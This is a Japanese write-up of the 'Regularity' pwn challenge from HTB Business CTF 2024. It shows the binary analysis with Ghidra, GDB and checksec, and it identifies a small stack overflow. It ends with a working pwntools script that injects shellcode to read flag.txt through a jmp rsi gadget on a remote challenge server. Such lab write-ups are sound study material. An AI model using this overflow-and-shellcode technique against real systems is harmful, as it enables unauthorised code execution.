HTB Business CTF 2024 Regularity writeup
HTB Business CTF 2024のPwnジャンルのRegularityのwriteupです。
問題の難易度はVery Easy
まずは実行してみる。
メッセージが表示された後に入力を求められるが、どこが脆弱性につながるかはわからない。
$ ./regularity
Hello, Survivor. Anything new these days?
3
Yup, same old same old here as well...
$ ./regularity
Hello, Survivor. Anything new these days?
test
Yup, same old same old here as well...
$
Ghidraでデコンパイルしてみる。
デコンパイル内容を見ても、どこに脆弱性があるかはわからない。
void processEntry entry(void)
{
size_t __nbytes;
undefined *__buf;
int __fd;
__fd = 1;
__buf = &message1;
write(1,&message1,0x2a);
read(__fd,__buf,__nbytes);
write(1,&message3,0x27);
syscall();
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata();
}
GDBで解析してみる。
Canaryが無効化されているので、Stack Buffer Overflowの脆弱性がありそう。
gef> checksec
---------------------------------------------------------------------------- checksec - /home/vagrant/pwn_regularity/regularity ----------------------------------------------------------------------------
-------------------------------------------------------------------------------------------- Basic information --------------------------------------------------------------------------------------------
Canary : Disabled
NX : Disabled
PIE : Disabled
RELRO : No RELRO
Fortify : Not found
------------------------------------------------------------------------------------------ Additional information ------------------------------------------------------------------------------------------
Static/Dynamic : Static
Stripped : No (The symbol remains)
CET SHSTK feature flag (via Ehdr) : Not found
CET IBT feature flag (via Ehdr) : Not found
CET IBT opcodes (endbr64/endbr32) : Not found
RPATH : Not found
RUNPATH : Not found
System ASLR : Enabled (randomize_va_space: 2)
GDB ASLR setting : Disabled (disable-randomization: on)
gef>
_start function
がメインの処理になっている。
read
を呼び出す前に、引数をレジスタに格納する必要があるが、
それらの処理が行われていないようにみえる。
gef> info fun
All defined functions:
Non-debugging symbols:
0x0000000000401000 _start
0x0000000000401043 write
0x000000000040104b read
0x000000000040106f exit
gef> disas _start
Dump of assembler code for function _start:
0x0000000000401000 <+0>: mov edi,0x1
0x0000000000401005 <+5>: movabs rsi,0x402000
0x000000000040100f <+15>: mov edx,0x2a
0x0000000000401014 <+20>: call 0x401043 <write>
0x0000000000401019 <+25>: call 0x40104b <read>
0x000000000040101e <+30>: mov edi,0x1
0x0000000000401023 <+35>: movabs rsi,0x40202a
0x000000000040102d <+45>: mov edx,0x27
0x0000000000401032 <+50>: call 0x401043 <write>
0x0000000000401037 <+55>: movabs rsi,0x40106f
0x0000000000401041 <+65>: jmp rsi
End of assembler dump.
gef>
実際にread
が実行される際に、引数(レジスタ)にどのような値が格納されているかを確認してみる。
write
を実行する際には、write
がcallされる前に引数を格納しているが、
read
ではread
がcallされた後からsyscallが実行されるまでの間で引数をレジスタに格納している。
read
での引数は以下となる。
read(0, rsp, 0x110)
読み込むサイズが0x110
となっているが、sub rsp, 0x100
とあるように、データを格納するスタック上では0x100
のサイズしか確保していない。
したがって、0x110
と0x100
の差分である0x10
のStack Buffer Overflowの脆弱性が存在する。
-> 0x401019 e82d000000 <_start+0x19> call 0x40104b <read>
-> 0x40104b 4881ec00010000 <read+0x0> sub rsp, 0x100
0x401052 b800000000 <read+0x7> mov eax, 0x0
0x401057 bf00000000 <read+0xc> mov edi, 0x0
0x40105c 488d3424 <read+0x11> lea rsi, [rsp]
0x401060 ba10010000 <read+0x15> mov edx, 0x110
0x401065 0f05 <read+0x1a> syscall
この脆弱性を使って、どうやって攻撃につなげていくかを考える。
read
での書き込み先のアドレスはrspとなっているため、スタックに格納されているread function
からのreturn addressを上書きすることができる。
短いプログラムなので、使えそうなガジェットは少ない。
だが、read function
のret
で以下のコードに飛ばせば、read function
の中でlea rsi, [rsp]
が実行されているので、rspに飛ぶ(rip = rsp)ことができる。
0x0000000000401041 <+65>: jmp rsi
checksecの内容を見返すとNXも無効化されているため、
スタック上にshellcodeを格納し、そこにjmpさせることで攻撃が通りそう。
gef> checksec
---------------------------------------------------------------------------- checksec - /home/vagrant/pwn_regularity/regularity ----------------------------------------------------------------------------
-------------------------------------------------------------------------------------------- Basic information --------------------------------------------------------------------------------------------
Canary : Disabled
NX : Disabled
PIE : Disabled
RELRO : No RELRO
Fortify : Not found
------------------------------------------------------------------------------------------ Additional information ------------------------------------------------------------------------------------------
Static/Dynamic : Static
Stripped : No (The symbol remains)
CET SHSTK feature flag (via Ehdr) : Not found
CET IBT feature flag (via Ehdr) : Not found
CET IBT opcodes (endbr64/endbr32) : Not found
RPATH : Not found
RUNPATH : Not found
System ASLR : Enabled (randomize_va_space: 2)
GDB ASLR setting : Disabled (disable-randomization: on)
gef>
攻撃対象のサーバに送信するペイロードは
shellcode + (0x100 - shellcodeのsize) * 適当な1文字 + jmp rsi
のアドレス
となる。
これでBuffer Overflowが発生し、
read function
のret実行時にjmp rsi
が実行され、shellcodeが実行される。
from pwn import *
from keystone import *
filename = './regularity'
elf = ELF(filename)
rop = ROP(elf)
context.arch = 'amd64'
open_sc = shellcraft.amd64.open('./flag.txt', 0).replace('SYS_open', '2')
read_sc = shellcraft.amd64.read('rax', 'rsp', 80)
write_sc = shellcraft.amd64.write(1, 'rsp', 80).replace('SYS_write', '1')
assembly = open_sc + read_sc + write_sc
print(assembly)
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(assembly)
shellcode = b''
for i in encoding:
shellcode += i.to_bytes(1, byteorder='little')
print(shellcode)
print(len(shellcode))
debug = False
if(debug == True):
conn = process(filename)
else:
conn = remote("94.237.58.148", 51592)
print(conn.recvuntil(b"Hello, Survivor. Anything new these days?"))
pause()
payload = shellcode + b"t" * (0x100 - 0x3e) + b'\x41\x10\x40\x00\x00\x00\x00\x00'
conn.sendline(payload)
print(conn.recvline())
conn.interactive()
Discussion